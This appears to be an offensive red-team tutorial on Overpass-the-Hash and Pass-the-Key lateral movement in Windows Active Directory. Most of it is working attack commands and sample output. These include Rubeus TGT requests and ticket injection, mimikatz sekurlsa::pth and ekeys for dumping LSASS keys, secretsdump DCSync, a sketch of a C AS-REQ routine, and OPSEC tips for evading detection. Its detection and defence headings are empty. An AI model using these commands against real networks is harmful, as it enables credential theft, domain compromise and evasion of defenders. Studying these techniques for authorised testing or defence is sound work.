Overpass-the-Hash / Pass-the-Key

Converting NT hashes and AES Kerberos keys into TGTs for Kerberos-native lateral movement — bypassing NTLM restrictions, AV behavioral signatures, and protocol-based detection

Pass-the-Hash vs Overpass-the-Hash

Overpass-the-Hash Mechanism

Rubeus Overpass-the-Hash

# Rubeus asktgt with NT hash — OPtH in one command
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
    /domain:corp.local /dc:dc01.corp.local /nowrap

# Output: TGT as base64
# [*] Using rc4_hmac hash : fc525c9683e8fe067095ba2ddc971889
# [*] Building AS-REQ (w/ preauth) for: 'corp.local\Administrator'
# [+] TGT request successful!
# [*] base64(ticket.kirbi): ...

# Inject TGT into current session
Rubeus.exe ptt /ticket:<base64_ticket>

# Or: one-step OPtH + process creation (sacrificial logon session)
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
    /domain:corp.local /dc:dc01.corp.local /createnetonly:C:\Windows\System32\cmd.exe /show

# /createnetonly creates an isolated logon session (no network credentials stolen from user)
# /show opens the spawned process visible to you
# Any Kerberos auth from that process uses the injected TGT

# AES-256 (Pass-the-Key)
Rubeus.exe asktgt /user:Administrator /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
    /domain:corp.local /dc:dc01.corp.local /nowrap

Mimikatz sekurlsa::pth

# Mimikatz Pass-the-Hash (classic PtH via impersonation)
# This spawns cmd.exe with the NT hash injected into the new process's logon context
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
    /ntlm:fc525c9683e8fe067095ba2ddc971889 \
    /run:cmd.exe

# The spawned cmd.exe has a new LUID with the Administrator identity
# NTLM auth from this process uses the injected hash
# Kerberos auth also works — Windows auto-requests TGT via OPtH internally

# Pass-the-Key with AES-256
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
    /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b... \
    /run:cmd.exe

# Useful when:
# - You need both NTLM (for old systems) and Kerberos (for new systems)
# - You want to spawn a process that "is" the target user for lateral movement

Implementing OPtH in C — Direct TGT Request

#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")

// OPtH via LsaLogonUser with KerbInteractiveLogon
// This is the low-level equivalent of "logon with this NT hash"
// Mimikatz sekurlsa::pth patches LSASS to accept the injected credentials

// Alternate approach: use Rubeus-style direct AS-REQ construction
// Build the AS-REQ packet manually, send via raw socket to DC port 88
// PA-ENC-TIMESTAMP = encrypt(current_timestamp, NT_hash_as_RC4_key)

// Conceptual C code using impacket-equivalent logic:

// The AS-REQ structure (RFC 4120):
//   pvno = 5
//   msg-type = 10 (AS-REQ)
//   padata:
//     PA-ENC-TIMESTAMP (etype=23, RC4-HMAC):
//       HMAC-MD5(NT_hash, timestamp_ASN1_bytes)
//   req-body:
//     kdc-options = 0x40810010 (forwardable + renewable + renewable-ok + canonicalize)
//     cname = { sAMAccountName }
//     realm = "CORP.LOCAL"
//     sname = { "krbtgt", "CORP.LOCAL" }
//     till = 20370913024805Z (far future)
//     nonce = random uint32
//     etype = [18, 17, 23, 3]  (AES256, AES128, RC4, DES)

// Build and send via WinSock2 to DC port 88
// Receive AS-REP → extract TGT → submit via KerbSubmitTicketMessage

BOOL OPtH_RequestTGT(const WCHAR *username, const WCHAR *domain,
                      const BYTE ntHash[16], const char *dcIP) {
    // 1. Get current timestamp as Kerberos-encoded bytes
    SYSTEMTIME st; FILETIME ft;
    GetSystemTime(&st);
    SystemTimeToFileTime(&st, &ft);

    // 2. Build PA-ENC-TIMESTAMP:
    //    a. ASN.1-encode the KerberosTime (timestamp)
    //    b. Encrypt with RC4-HMAC using NT hash as the key:
    //       RC4(HMAC-MD5(NT_hash, 11), timestamp_bytes)
    //       where 11 = usage number for PA-ENC-TIMESTAMP

    // 3. Build full AS-REQ ASN.1 structure
    // 4. Send to DC port 88 (TCP or UDP)
    // 5. Receive and parse AS-REP
    //    Extract enc-part (encrypted with NT hash as RC4 key)
    //    Decrypt to get session key + TGT
    // 6. Submit TGT to local session via KerbSubmitTicketMessage

    printf("[+] OPtH TGT request for %S@%S\n", username, domain);
    // Full implementation: see Rubeus source (C#) or impacket (Python)
    // C implementation complexity: ~1000 lines for proper ASN.1 handling
    return TRUE;
}

// Practical C shortcut: invoke Rubeus via process injection or
// use system("Rubeus.exe asktgt ...") from a beacon process

Pass-the-Key — AES Kerberos Keys

In AES-only environments where RC4 is disabled, you need the AES Kerberos key instead of the NT hash. This key is different from the NT hash and must be obtained via DCSync (supplementalCredentials attribute) or from a live LSASS dump (sekurlsa::ekeys):

# Extract AES keys from LSASS (live system)
mimikatz# sekurlsa::ekeys
# Output:
# Authentication Id : 0 ; 1234567 (00000000:0012d687)
# Session           : Interactive from 1
# User Name         : Administrator
# Domain            : CORP
# Logon Server      : DC01
# kerberos :
#  * Username : Administrator
#  * Domain   : CORP.LOCAL
#  * Password : (null)
#  * Key List :
#    aes256_hmac       5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f...
#    aes128_hmac       4b7c3a2e1d0f9e8d7c6b5a4f3e2d1c0b
#    rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889
#    rc4_hmac_old      fc525c9683e8fe067095ba2ddc971889

# Extract AES keys via DCSync (from secretsdump output supplementalCredentials)
secretsdump.py corp.local/admin:pass@dc01 -just-dc-user Administrator | grep "aes256"

# Pass-the-Key with AES-256 (Rubeus)
Rubeus.exe asktgt /user:Administrator \
    /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
    /domain:corp.local /dc:dc01.corp.local /nowrap /opsec

# /opsec flag tells Rubeus to request AES-256 tickets (not RC4 downgrade)
# More OPSEC-friendly in environments monitoring for etype 23 (RC4)

AES-Only Environments — The Defender's Countermeasure

Detection

Q&A